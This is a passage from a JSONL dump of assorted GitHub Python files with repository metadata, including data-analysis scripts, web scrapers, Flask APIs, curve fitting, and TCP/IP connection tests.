temp_Min=response[zip_cd]['main']['temp_min']*9/5 - 459.67\n\n df_output_temp[df_output_temp['zip_cd']==zip_cd]['Temp']=temp\n df_output_temp[df_output_temp['zip_cd']==zip_cd]['Temp_Max']=temp_Max\n df_output_temp[df_output_temp['zip_cd']==zip_cd]['Temp_Min']=temp_Min\n\n for desc_rain in ranked_rain['rain_desc'].tolist():\n for j in range(len(response[zip_cd]['weather'])):\n if desc_rain in response[zip_cd]['weather'][j]['description']:\n df_rain[df_rain['zip_cd']==zip_cd][desc_rain]=1\n for desc_snow in ranked_snow['snow_desc'].tolist():\n for j in range(len(response[zip_cd]['weather'])):\n if desc_snow in response[zip_cd]['weather'][j]['description']:\n df_snow[df_snow['zip_cd']==zip_cd][desc_snow]=1\n else:\n df_rain[df_rain['zip_cd']==zip_cd][\"Collected\"]=\"Not_recorded\"\n df_snow[df_snow['zip_cd']==zip_cd][\"Collected\"]=\"Not_recorded\"\n df_temp[df_temp['zip_cd']==zip_cd][\"Collected\"]=\"Not_recorded\"\n \n df_output_rain=df_output_rain.append(df_rain)\n df_output_snow=df_output_snow.append(df_snow)\n df_output_temp=df_output_temp.append(df_temp) \n print( datetime.datetime.now(),\"finished of the date: \",date)\n \n\n\n# In[ ]:\n\ndf_output_rain['sum']=df_output_rain[ranked_rain['rain_desc'].tolist()].sum(axis=1)\ndf_output_snow['sum']=df_output_snow[ranked_snow['snow_desc'].tolist()].sum(axis=1)\ndf_output_rain['No_Rain']=np.where(pd.isnull(df_output_rain['sum']),1,np.nan)\ndf_output_snow['No_Snow']=np.where(pd.isnull(df_output_snow['sum']),1,np.nan)\n\ndf_output_rain['No_Rain']=np.where(df_output_rain['Collected']==\"Not_recorded\",np.nan,df_output_rain['No_Rain'])\ndf_output_snow['No_Snow']=np.where(df_output_snow['Collected']==\"Not_recorded\",np.nan,df_output_rain['No_Rain'])\n\ndel df_output_rain['sum']\ndel df_output_snow['sum']\n\n\n# In[ ]:\n\nwriter=pd.ExcelWriter(writer_folder+\"Q1_Snow_Rain_Desc_\"+str(datetime.datetime.now().date())+\".xlsx\",engine=\"xlsxwriter\")\ndf_output_temp.to_excel(writer,\"Temp\",index=False)\ndf_output_rain.to_excel(writer,\"Rain\",index=False)\ndf_output_snow.to_excel(writer,\"Snow\",index=False)\n\nwriter.save()\n\n","repo_name":"jubaplus2/jian_projects","sub_path":"code_back_up/backuped_on_sharefolder_2021-01-06_000/00448_Q1_Weather_Store.py","file_name":"00448_Q1_Weather_Store.py","file_ext":"py","file_size_in_byte":7198,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"16100512090","text":"from flask import Flask\nfrom flask_restplus import Api, fields\nfrom firebase_admin import credentials, firestore, initialize_app\n\n# RestPLUS configuration\napp = Flask(__name__)\napi = Api(app, version='1.0', title='User Information',\n description='A representation of user information')\n\nns = api.namespace('users', description='Access and manipulate information about users')\n\n# Serializers\nresource_fields = api.model('User', {'name': fields.String, 'email': fields.String, 'phone': fields.String,\n'city': fields.String, 'interests': fields.List(fields.String), 'events': fields.List(fields.String)})\n\n# Initialize Firestore DB\ncred = credentials.Certificate('key.json')\ndefault_app = initialize_app(cred)\ndb = firestore.client()\nusers_ref = db.collection('Users')","repo_name":"aidannnd/jpmorgan-hackathon-backend","sub_path":"config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":774,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74931896805","text":"from collections import Iterable\n\n'''\n a script to unfold nested lists.\n'''\n\n\ndef flatten(obj, ignore_itmes=(str, bytes)):\n\tfor item in obj:\n\t\tif isinstance(item, Iterable) and not isinstance(item, ignore_itmes):\n\t\t\tyield from flatten(item)\n\t\telse:\n\t\t\tyield item\n\nflatten_lambda = lambda nested: list(filter(lambda _: _, \n (lambda _: ((yield from flatten(e)) if isinstance(e, Iterable) else (yield e) for e in _))(nested)))\n\nobj = [1, 2, [3, 4], [5, 6, [7, 8, 9]]]\n\nfor i in flatten(obj):\n\tprint(i)\n\nfor i in flatten_lambda(obj):\n\tprint(i)","repo_name":"SimonCqk/Python_Toys","sub_path":"utility/unfold_nest.py","file_name":"unfold_nest.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"28769529680","text":"from flask import Blueprint, jsonify\n\nfrom api.logger import get_logger\nfrom utils import get_posts_all, get_post_by_pk\n\nlogger = get_logger('api_logger')\n\napi_bp = Blueprint('api', __name__)\n\n\n@api_bp.route('/api/posts')\ndef get_json_posts():\n posts = get_posts_all()\n logger.info('get_json_posts')\n return jsonify(posts)\n\n\n@api_bp.route('/api/posts/')\ndef get_json_post_by_id(post_id):\n post = get_post_by_pk(post_id)\n logger.info(f'get_json_post_by_id {post_id}')\n return jsonify(post)\n","repo_name":"imurovtsev/hw-kurs3","sub_path":"api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":520,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"14555655763","text":"import requests\nfrom bs4 import BeautifulSoup\n\nurl = \"https://comic.naver.com/webtoon/weekday\"\nresponse = requests.get(url)\n\nif response.status_code==200:\n soup = BeautifulSoup(response.text, \"lxml\")\n print(soup.title.get_text())\n print(soup.a)\n print(soup.a.attrs)\n\n print(soup.find('li', attrs={\"class\": \"rank01\"}))\n\n rank1 = soup.find('li', attrs={\"class\": \"rank01\"})\n print(rank1.a)\n\n cartoons = soup.find_all('a', attrs={\"class\": \"title\"})\n for cartoon in cartoons:\n title=cartoon.get_text()\n link=cartoon[\"href\"]\n\n print(title,\"https://comic.naver.com\"+link)\nelse:\n print(response.status_code)","repo_name":"anonlim/Datamining","sub_path":"pythonProject3/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":650,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"74857842083","text":"'''\nCreated on Apr 3, 2011\n\n@author: sah\n'''\nfrom google.appengine.ext.db import Model, UserProperty, DateTimeProperty, IntegerProperty, GeoPtProperty, StringProperty\n\nclass Knower(Model):\n account = UserProperty(auto_current_user=True)\n time = DateTimeProperty(auto_now=True)\n location = GeoPtProperty()\n credits = IntegerProperty(0)\n fines = IntegerProperty(0)\n pains = IntegerProperty(0)\n\nclass Knowledge(Model):\n account = UserProperty(auto_current_user=True)\n time = DateTimeProperty(auto_now=True)\n location = GeoPtProperty()\n info = StringProperty()\n","repo_name":"leesah/iki-server-python","sub_path":"src/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":587,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"52"} +{"seq_id":"32143515976","text":"import numpy as np\nfrom numpy.lib.scimath import log, sqrt\nimport scipy as sc\nfrom scipy.special import wofz\nimport sys\nimport csv\nfrom matplotlib.figure import Figure\nfrom matplotlib.patches import Circle\nfrom matplotlib.backends.backend_agg import FigureCanvasAgg as FigureCanvas\nimport matplotlib.pyplot as plt\nfrom scipy.optimize import curve_fit\n\nPI = 3.14159265359\n\n#functions defined for exponential decay (expo) and double exponential (expo2)\ndef gaus(x, n0, mu, sigma):\n return n0*(1/sqrt(2*PI))*(1/abs(sigma))*np.exp(-(x-mu)**2/(2*sigma**2))\ndef lorentz(x, n0, mu, gamma):\n return n0*(PI*gamma*(1+((x-mu)/gamma)**2))**(-1)\ndef voigta(x, n, mu, sigma, gamma):\n fg = 2*sigma*sqrt(2*log(2))\n fl = 2*gamma\n f = (fg**5 + 2.69269*fl*(fg**4) + 2.42843*(fg**3)*(fl**2) + 4.47163*(fg**2)*(fl**3) + 0.07842*fg*(fl**4) + fl**5)**(1/5)\n eta = 1.36603*(fl/f) - 0.47719*(fl/f)**2 + 0.11116*(fl/f)**3\n return eta*lorentz(x, n, mu, f) + (1-eta)*gaus(x, n, mu, f)\ndef voigt(x, n, mu, sigma, gamma):\n return n*np.real(wofz((x-mu+1j*gamma)/sigma/sqrt(2)))/abs(sigma)/sqrt(2*PI)\n\n\n#read the file and output the correct count array and plot limits \ndef txtreader(filename):\n x,y,z = np.genfromtxt( filename, unpack= True, delimiter=',', skip_header=1)\n return x,y\n\n\n#read 3 columns in order\nin1 = sys.argv[1]\nfinalname = sys.argv[2]\nstepno = int(sys.argv[3])\nwaveno1, counts1 = txtreader(in1)\n# waveno2, counts2 = txtreader(in2)\n\n#define some nicer format for the plots\nplt.rcParams['font.size'] = 18\n\n\n#FITTING FUNCTION: fit with expo, xvalues=timefit, yvalues=intenfit, error=errfit, p0 is the initial values for N_0 and tau, respectively.\n\n#plot the experimental data (from the text file) as dots with error bars. \nminimum = waveno1.min()\nmaximum = waveno1.max()\n\nif stepno == 2:\n midpoint = 10991.185*2\n for i in range(len(waveno1)):\n waveno1[i] *= 2\n waveno1[i] -= midpoint\nelif stepno == 1:\n midpoint = 13085.7509258*3\n for i in range(len(waveno1)):\n waveno1[i] *= 3\n waveno1[i] -= midpoint\n\n\n# for i in range(len(waveno2)):\n# waveno2[i] -= midpoint\n\nplt.plot(waveno1, counts1, label=finalname.strip('_fit').replace('_1step', ' 1$^{st}$ step').replace('_2step', ' 2$^{nd}$ step'))\n\n#if stepno == 2:\n# plt.savefig(\"2step/results/\"+finalname+\".pdf\", bbox_inches = 'tight', pad_inches = 0.1, transparent=True)\n# plt.savefig(\"2step/results/\"+finalname+\".png\", bbox_inches = 'tight', pad_inches = 0.1)\n#else:\n# plt.savefig(\"1step/results/\"+finalname+\".pdf\", bbox_inches = 'tight', pad_inches = 0.1, transparent=True)\n# plt.savefig(\"1step/results/\"+finalname+\".png\", bbox_inches = 'tight', pad_inches = 0.1)\n\n\ngfit, gerr = curve_fit(gaus, waveno1, counts1, p0 = [600, 0.05, 1])\nlfit, lerr = curve_fit(lorentz, waveno1, counts1, p0 = [600, 0.05, 1])\nvfit, verr = curve_fit(voigt, waveno1, counts1, p0 = [500, 0.05, 1, 1])\n# afit, aerr = curve_fit(voigta, waveno1, counts1, p0 = [500, 0.05, 0.01, 0.1])\n\n# print(waveno1)\n#more format for the plots\n#plt.yscale('log')\nplt.plot(waveno1, gaus(waveno1, *gfit), '--', color= 'green', label = 'Gauss')\nplt.plot(waveno1, lorentz(waveno1, *lfit), '--', color= 'red', label = 'Lorentz')\n\nvarname = 'Nμσγ'\nfor i in range(len(vfit)):\n print(varname[i] + '= ' + str(round(vfit[i],4)) + ' ± ' + str(round(sqrt(verr[i][i]),4)))\n\nfg = 2*sqrt(2*log(2))*vfit[2]\nerrg = 2*sqrt(2*log(2))*verr[2][2]\nfl = 2*vfit[3]\nerrl = 2*verr[3][3]\nsq = sqrt(0.2166*fl**2 + fg**2)\nfv = 0.5346*fl + sq\nerrf = sqrt((errg*fg/sq)**2 + (errl*(0.5346+(0.2166*fl/sq)))**2)\nprint('f= ' + str(round(fv,6)) + ' ± ' + str(round(errf,6)))\n\nplt.plot(waveno1, voigt(waveno1, *vfit), '-', color= 'black', label = 'Voigt')\n# plt.plot(waveno1, voigta(waveno1, *afit), '--', color= 'orange', label = 'Voigt Approx')\n\n#plt.plot(waveno2, counts2, label=in2.strip('gascell.csv').replace('_',' ').replace('1step', '1$^{st}$ step').replace('2step', '2^{nd} step'))\nplt.title('Reference = '+str(round(midpoint,2)))\nplt.grid(which='major', axis='both', linewidth=1)\nplt.ylabel(\"Counts\")\nplt.xlabel(\"Wavenumber from reference [cm$^{-1}$]\")\n# plt.text(x= minimum, y= 1.1*counts2.max(), s = \"Ref=\"+str(midpoint))\nplt.legend(loc=2,fontsize= 'x-small')\n# plt.yscale(\"log\")\n\nc = 29.9792458 #cm/ns\nmean = (vfit[1] + midpoint)*c\nmeanerr = c*verr[1][1]\nfwhm = (fv)*c\nfwhmerr = errf*c\n\nif stepno==2:\n f = open(\"2step/stats2.txt\", \"a\")\nelif stepno == 1:\n f = open(\"1step/stats1.txt\", \"a\")\n \nf.write(finalname[0]+finalname[1]+finalname[2] + '\\t\\t\\t\\t\\t\\t' + str(vfit[0]) + '\\t' + str(sqrt(verr[0][0])) + '\\t' + str(mean) + '\\t' + str(meanerr) + '\\t' + str(fwhm) + '\\t' + str(fwhmerr) + '\\t' + str(vfit[2])+ '\\t' + str(verr[2][2]) + '\\t' + str(vfit[3])+ '\\t' + str(verr[3][3]) + '\\n')\n#save plot as a pdf (vector images are superior, change my mind) with transparency\nif stepno == 2:\n plt.savefig(\"2step/results/\"+finalname+\".pdf\", bbox_inches = 'tight', pad_inches = 0.1, transparent=True)\n plt.savefig(\"2step/results/\"+finalname+\".png\", bbox_inches = 'tight', pad_inches = 0.1)\nelif stepno == 1:\n plt.savefig(\"1step/results/\"+finalname+\".pdf\", bbox_inches = 'tight', pad_inches = 0.1, transparent=True)\n plt.savefig(\"1step/results/\"+finalname+\".png\", bbox_inches = 'tight', pad_inches = 0.1)\n\nplt.close()\nf.close()\n","repo_name":"Yottaphy/GasCellTest202109","sub_path":"scans/symmetric_voigt/scan_plotter.py","file_name":"scan_plotter.py","file_ext":"py","file_size_in_byte":5309,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"33529990575","text":"#青年發展署\nimport requests\nfrom bs4 import BeautifulSoup\nimport numpy as np\nimport datetime\nimport itertools\nimport json\nnow = datetime.datetime.now()\nheaders = {\n \"User-Agent\": \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.0.0 Safari/537.36\"\n }\nclass Activity():\n def __init__(self,url,image):\n self.url = url\n \n self.Content = \"\"\n self.Images = [image]\n self.Sources = \"\"\n res = requests.get(self.url , headers = headers)\n soup = BeautifulSoup(res.text, 'html.parser')\n self.Title = soup.find(\"h2\", {\"class\" : \"page-title\"}).text.strip()\n cont = soup.find(\"div\", {\"class\" : \"cont\"} ).find_all(text = True)\n self.Content = \"\\n\".join(Content.strip() for Content in cont)\n \n def OutputFormat(self):\n Format = {\n \"Title\" : self.Title,\n \"Content\" : self.Content,\n \"Images\" : self.Images,\n \"Sources\" : [self.url]\n }\n return Format\n\ndef record_runtime(text):\n with open(\"./Daily/DailyRecord\" , \"a\", encoding=\"utf-8\") as writefile:\n writefile.write(text)\ntry:\n Activities_dic = {}\n Activities_dic_len = 0\n for i in itertools.count(start= 1):\n \n o_url = f\"https://www.yda.gov.tw/EventList.aspx?uid=101&pid=56&page={i}\"\n res = requests.get(o_url, headers = headers)\n soup = BeautifulSoup(res.text, 'html.parser')\n linkList = soup.find_all(\"div\",{\"class\" : \"event-box\"})\n for j in linkList:\n Links = j.find_all(\"a\")\n for Link in Links:\n for child in Link.children:\n if child.name == \"figure\":\n image = Link.find(\"img\")\n Activities_dic[\"https://www.yda.gov.tw/\" + Link[\"href\"]] = \"https://www.yda.gov.tw\" + image[\"src\"]\n if len(Activities_dic) == Activities_dic_len:\n break\n else:\n Activities_dic_len = len(Activities_dic)\n OutputAvtivity = []\n for key, value in Activities_dic.items():\n obj = Activity(key,value)\n OutputAvtivity.append(obj.OutputFormat())\n \n with open(\"./FilterTools/SpiderData/YouthDevelopAdministration.json\", \"w\", encoding=\"utf-8\") as writeFile:\n json.dump(OutputAvtivity, writeFile, ensure_ascii=False, indent=4)\n record_runtime(f\"\\nYouthDevelopAdministration上次更新時間為:{now}\\n\\t執行成功\")\nexcept Exception as e:\n record_runtime(f\"\\nYouthDevelopAdministration上次更新時間為:{now}\\n\\t**執行失敗\\n\\t\\t{e}\")","repo_name":"Marvin71A178/FilterProject","sub_path":"UnfinishSpider/YouthDevelopAdministration.py","file_name":"YouthDevelopAdministration.py","file_ext":"py","file_size_in_byte":2594,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"38036579861","text":"import time\n\n# 시간 측정\nstart = time.time()\n\n# 맵의 세로 크기 N과 가로 크기 M을 공백으로 구분하여 입력\n# 3 <= N, M <= 50\nprint(\"N, M을 입력해주세요. (3 <= N, M <= 50) : \")\nN, M = map(int, input().split())\n\n# 게임 캐릭터가 있는 칸의 좌표 (A,B)와 바라보는 방향 d가 각각 서로 공백으로 구분하여 주어진다.\n# A = 북쪽으로부터 떨어진 칸의 개수, B = 서쪽으로부터 떨어진 칸의 개수\n# 방향 d의 값으로는 4가지가 존재 (0 : 북쪽, 1 : 동쪽, 2 : 남쪽, 3 : 서쪽)\nprint(\"캐릭터가 있는 칸의 좌표 (A, B) 와 바라보는 방향 d를 입력해주세요. (방향 => 0 : 북쪽, 1 : 동쪽, 2 : 남쪽, 3 : 서쪽)\")\nA, B, d = map(int, input().split())\n\n# 맵이 육지인지 바다인지에 대한 정보입력, 외곽은 항상 바다 (0 : 육지, 1 : 바다)\n# N 개의 줄에 북 -> 남, 서 -> 동 순서대로 주어진다.\nprint(\"육지인지 바다인지에 대한 정보입력 (0 : 육지, 1 : 바다)\")\narr = []\nfor _ in range(N):\n arr.append(list(map(int, input().split())))\n\n# 일반적으로 방향을 설정해서 이동하는 문제 유형에서는 dx, dy 라는 별도의 리스트를 만들어 방향을 정하는 것이 효과적\n# 예를 들면, dx[0] 와 dy[0] => 북쪽\ndx = [-1, 0, 1, 0]\ndy = [0, 1, 0, -1]\n\n# result = 방문한 결과, count = 회전한 횟수\nresult = 0\ncount = 0\n\n# 방문한 위치를 표시해주는 것이 필요 => 0 으로 표시된 육지를 1 로 표시하게 만든다?\n# 이동하고 나면 현재위치 (A, B)의 0 -> 1로 표시\n# 맵을 그대로 복사한 location 을 만들고, 이를 조작한다.\nlocation = arr\n\n\ndef visited(x, y):\n global location, result\n if location[x][y] != 1:\n location[x][y] = 1\n result += 1\n\n\n# 반시계 방향으로 90도 회전 시키고, 왼쪽 방향에 방문하지 않았다고 하면 한번 더 회전한다음 왼쪽으로 한 칸 이동\n# 회전하는 함수\ndef turn():\n # global 은 함수 바깥에서 선언된 전역변수를 사용하므로 나타낸 표현\n global d\n d -= 1\n # 만약 -1이 되면, 이는 서쪽을 나타내어야 하므로 3을 나타내기 위해 if문 을 사용함\n if d == -1:\n d = 3\n print(\"바라보는 방향 = 서쪽\")\n elif d == 0:\n print(\"바라보는 방향 = 북쪽\")\n elif d == 1:\n print(\"바라보는 방향 = 동쪽\")\n else:\n print(\"바라보는 방향 : 남쪽\")\n# 방문하지 않은 칸이 없다면, 회전만 한다.\n# 이를 수행하는 코드가 필요\n\n\nwhile 1:\n # 시작 위치를 바로 방문처리 해준다.\n visited(A, B)\n turn()\n count += 1\n # 회전한 방향쪽으로 이동하고 난 후의 좌표 저장\n a = A + dx[d]\n b = B + dy[d]\n print(\"이동할 장소 정보 : (\", a, \",\", b, \")\", \"location = \", location[a][b])\n # 만약, 회전한 방향의 정면이 가보지 않은 곳이라면, 방문처리하고 그곳으로 이동 (현재 좌표를 옮긴다.)\n if location[a][b] != 1:\n print(\"이동! (\", A, \",\", B, \") -> (\", a, \",\", b, \")\")\n visited(a, b)\n A = a\n B = b\n count = 0\n # 회전한 방향의 정면이 가본 곳이거나 바다라면, 한번 더 회전하고 4번 회전을 하고 나면 바라보는 방향 유지한 채 한칸 뒤로간다.\n elif count == 4:\n # 뒤로 한 칸 가기위해서 빼어주게 된다.\n a = A - dx[d]\n b = B - dy[d]\n # 1단계로 돌아가기 위해 count = 0 으로 재설정.\n count = 0\n # 만약, 이동할 칸이 1로 되어있으면 더 이상 이동 불가능하므로 종료\n if location[a][b] == 1:\n break\n\n\nprint(\"종료 결과 : \", result)\n\n# 걸린시간 출력\nprint(\"Time : \", time.time() - start)\n","repo_name":"xodhks0626/pythonStudy","sub_path":"codingTest/codingTest7.py","file_name":"codingTest7.py","file_ext":"py","file_size_in_byte":3827,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"32098178719","text":"import pandas as pd\n\ndef transform_file(input_path, output_path):\n # Read the file, replace null bytes\n with open(input_path, 'r', encoding='utf-8') as f:\n data = f.read().replace('\\0', '')\n\n # Split the data into lines\n lines = data.splitlines()\n\n # Join the lines into a single string\n flattened_data = ' '.join(lines)\n\n # Write the flattened data back into a file\n with open(output_path, 'w', encoding='utf-8') as f:\n f.write(flattened_data)\n\n# Paths to your input and output files\ninput_path = '/home/gkirilov/prompts/ddg_1M_prompts.csv'\noutput_path = '/home/gkirilov/prompts/flattened_ddg_1M_prompts.csv'\n\ntransform_file(input_path, output_path)\n","repo_name":"Cruel7/Projects","sub_path":"stuff/csv_augment.py","file_name":"csv_augment.py","file_ext":"py","file_size_in_byte":689,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"7122984007","text":"import visualisation\nimport os\nimport shutil\nfrom pandas import util as putil\nimport pandas as pd\nfrom functools import wraps\nimport sys\n\n\ndef with_data_folder(func):\n @wraps(func)\n def create_data_run_rm_data(*args, **kwargs):\n data_folder = \"./data\"\n os.makedirs(data_folder, exist_ok=True)\n\n func(*args, **kwargs)\n shutil.rmtree(data_folder)\n return create_data_run_rm_data\n\n@with_data_folder\ndef test_histogram_plot():\n df = putil.testing.makeDataFrame()\n input_data_path = \"./data/test_df.csv\"\n df.to_csv(input_data_path)\n output_plot_path = \"./data/hist_plot.png\"\n output = visualisation.histogram_plot(\"B\", input_data_path, data_path_dst=output_plot_path)\n assert output is not None\n assert os.path.exists(output_plot_path)\n\n","repo_name":"nader2929/brane_visualisation_lib","sub_path":"test_visualisation.py","file_name":"test_visualisation.py","file_ext":"py","file_size_in_byte":790,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"52"} +{"seq_id":"5815531207","text":"import os, sys;\nsModulePath = os.path.dirname(__file__);\nsys.path = [sModulePath] + [sPath for sPath in sys.path if sPath.lower() != sModulePath.lower()];\n\nfrom fTestDependencies import fTestDependencies;\nfTestDependencies(\"--automatically-fix-dependencies\" in sys.argv);\nsys.argv = [s for s in sys.argv if s != \"--automatically-fix-dependencies\"];\n\ntry: # mDebugOutput use is Optional\n import mDebugOutput as m0DebugOutput;\nexcept ModuleNotFoundError as oException:\n if oException.args[0] != \"No module named 'mDebugOutput'\":\n raise;\n m0DebugOutput = None;\n\nguExitCodeInternalError = 1; # Use standard value;\ntry:\n try:\n from mConsole import oConsole;\n except ModuleNotFoundError as oException:\n if oException.args[0] != \"No module named 'oConsole'\":\n raise;\n import sys, threading;\n oConsoleLock = threading.Lock();\n class oConsole(object):\n @staticmethod\n def fOutput(*txArguments, **dxArguments):\n sOutput = \"\";\n for x in txArguments:\n if isinstance(x, str):\n sOutput += x;\n sPadding = dxArguments.get(\"sPadding\");\n if sPadding:\n sOutput.ljust(120, sPadding);\n oConsoleLock.acquire();\n print(sOutput);\n sys.stdout.flush();\n oConsoleLock.release();\n @staticmethod\n def fStatus(*txArguments, **dxArguments):\n pass;\n \n import os, sys;\n \n import mTCPIPConnection;\n \n try:\n import mSSL as m0SSL;\n except ModuleNotFoundError as oException:\n if oException.args[0] != \"No module named 'mSSL'\":\n raise;\n m0SSL = None;\n \n sbTestHostname = b\"localhost\";\n HEADER = 0xFF0A;\n DELETE_FILE = 0xFF0C;\n DELETE_FOLDER = 0xFF04;\n OVERWRITE_FILE = 0xFF0E;\n \n def fShowDeleteOrOverwriteFileOrFolder(sFileOrFolderPath, bFile, s0NewContent):\n if not bFile:\n oConsole.fOutput(DELETE_FOLDER, \" - \", sFileOrFolderPath);\n elif s0NewContent is None:\n oConsole.fOutput(DELETE_FILE, \" - \", sFileOrFolderPath);\n else:\n oConsole.fOutput(OVERWRITE_FILE, \" * \", sFileOrFolderPath, \" => %d bytes.\" % len(s0NewContent));\n \n bQuick = False;\n bFull = False;\n for sArgument in sys.argv[1:]:\n if sArgument == \"--quick\": \n bQuick = True;\n elif sArgument == \"--full\": \n bFull = True;\n elif sArgument == \"--debug\": \n assert m0DebugOutput, \\\n \"This feature requires mDebugOutput!\";\n m0DebugOutput.fEnableDebugOutputForModule(mTCPIPConnection);\n else:\n raise AssertionError(\"Unknown argument %s\" % sArgument);\n assert not bQuick or not bFull, \\\n \"Cannot test both quick and full!\";\n \n if m0SSL is not None:\n import tempfile;\n sCertificateAuthorityFolderPath = os.path.join(tempfile.gettempdir(), \"tmp\");\n \n oCertificateAuthority = m0SSL.cCertificateAuthority(sCertificateAuthorityFolderPath, \"mSSL Test\");\n oConsole.fOutput(\" oCertificateAuthority = \", str(oCertificateAuthority));\n if os.path.isdir(sCertificateAuthorityFolderPath):\n if bQuick:\n oConsole.fOutput(HEADER, \"\\u2500\\u2500\\u2500\\u2500 Reset Certificate Authority folder... \", sPadding = \"\\u2500\");\n oCertificateAuthority.fResetCacheFolder(fShowDeleteOrOverwriteFileOrFolder);\n else:\n oConsole.fOutput(HEADER, \"\\u2500\\u2500\\u2500\\u2500 Delete Certificate Authority folder... \", sPadding = \"\\u2500\");\n oCertificateAuthority.fDeleteCacheFolder(fShowDeleteOrOverwriteFileOrFolder);\n \n sTestHostname = str(sbTestHostname, \"ascii\", \"strict\");\n oCertificateAuthority.foGenerateServersideSSLContextForHostname(sbTestHostname);\n oCertificateStore = m0SSL.cCertificateStore();\n oCertificateStore.fAddCertificateAuthority(oCertificateAuthority);\n o0ServerSSLContext = oCertificateStore.foGetServersideSSLContextForHostname(sbTestHostname);\n o0ClientSSLContext = oCertificateStore.foGetClientsideSSLContextForHostname(sbTestHostname);\n oConsole.fOutput(\"=== SSL Contexts \", sPadding = \"=\");\n oConsole.fOutput(\"o0ServerSSLContext = \", repr(o0ServerSSLContext));\n oConsole.fOutput(\"o0ClientSSLContext = \", repr(o0ClientSSLContext));\n \n from fRunTestsOnTCPIPConnectionClasses import fRunTestsOnTCPIPConnectionClasses;\n fRunTestsOnTCPIPConnectionClasses(oConsole, None, None);\n if m0SSL:\n fRunTestsOnTCPIPConnectionClasses(oConsole, o0ClientSSLContext, o0ServerSSLContext);\n \n from fTestConnectionAndAcceptor import fTestConnectionAndAcceptor;\n \n oConsole.fOutput(\"=== Testing TCP/IP Connections \", sPadding = \"=\");\n fTestConnectionAndAcceptor(mTCPIPConnection.cTCPIPConnection, mTCPIPConnection.cTCPIPConnectionAcceptor, None, None);\n if m0SSL:\n fTestConnectionAndAcceptor(mTCPIPConnection.cTCPIPConnection, mTCPIPConnection.cTCPIPConnectionAcceptor, o0ClientSSLContext, o0ServerSSLContext);\n oConsole.fOutput(\"=== Testing Buffered TCP/IP Connections \", sPadding = \"=\");\n fTestConnectionAndAcceptor(mTCPIPConnection.cBufferedTCPIPConnection, mTCPIPConnection.cBufferedTCPIPConnectionAcceptor, None, None);\n if m0SSL:\n fTestConnectionAndAcceptor(mTCPIPConnection.cBufferedTCPIPConnection, mTCPIPConnection.cBufferedTCPIPConnectionAcceptor, o0ClientSSLContext, o0ServerSSLContext);\n oConsole.fOutput(\"=== Testing Transactional Buffered TCP/IP Connections \", sPadding = \"=\");\n fTestConnectionAndAcceptor(mTCPIPConnection.cTransactionalBufferedTCPIPConnection, mTCPIPConnection.cTransactionalBufferedTCPIPConnectionAcceptor, None, None);\n if m0SSL:\n fTestConnectionAndAcceptor(mTCPIPConnection.cTransactionalBufferedTCPIPConnection, mTCPIPConnection.cTransactionalBufferedTCPIPConnectionAcceptor, o0ClientSSLContext, o0ServerSSLContext);\n \n if m0SSL is not None:\n if not bQuick:\n oConsole.fOutput(HEADER, \"\\u2500\\u2500\\u2500\\u2500 Delete Certificate Authority folder... \", sPadding = \"\\u2500\");\n oCertificateAuthority.fDeleteCacheFolder(fShowDeleteOrOverwriteFileOrFolder);\n \nexcept Exception as oException:\n if m0DebugOutput:\n m0DebugOutput.fTerminateWithException(oException, guExitCodeInternalError, bShowStacksForAllThread = True);\n raise;\n","repo_name":"SkyLined/mTCPIPConnection","sub_path":"Tests/Tests.py","file_name":"Tests.py","file_ext":"py","file_size_in_byte":6035,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"52"} +{"seq_id":"8614032273","text":"def avto_info(kompaniya, model, rangi, karobka, yili, narhi=None):\n \"\"\"Mashina ma'lumotlarini qaytarib beruvchi funksiya\"\"\"\n avto = {\"kompaniya\": kompaniya,\n \"model\": model,\n \"rang\": rangi,\n \"karobka\": karobka,\n \"yili\": yili,\n \"narhi\":narhi}\n return avto;\n\n\ndef avto_kirit():\n print(\"Saytimizdagi avtolar ro'yxatini shakllantiramiz\")\n avtolar = [];\n while True:\n print(\"\\nQuyidagi ma'lumotlarni kiriting\", end=\" \")\n kompaniya=input(\"Ishlab chiqaruvchi: \")\n model=input(\"Modeli: \")\n rangi=input(\"Rangi: \")\n karobka=input(\"Karobka: \")\n yili=input(\"Ishlab chiqarilgan yili: \")\n narhi=input(\"Narhi: \")\n # Foydalanuvchi kiritgan ma'lumotlardan avto_info yordamida\n # lug'at shakllantirib, har bir lug'atni ro'yxatga qo'shamiz:\n avtolar.append(avto_info(kompaniya, model, rangi, karobka, yili, narhi))\n # Yana avto qo'shish-qo'shmaslikni so'raymiz\n javob = input(\"yana avto qo'shasizmi? (yes/no): \")\n if javob == 'no':\n break\n\n\n\ndef info_print(avto_info):\n \"\"\"Avtomobillar haqida ma'lumotlar saqlangan lug'atni konsolga chiqaruvchi funksiya\"\"\"\n print(f\"{avto_info['rang'].title()}, {avto_info['model'].title()}, {avto_info['karobka']} karobka. Narhi: 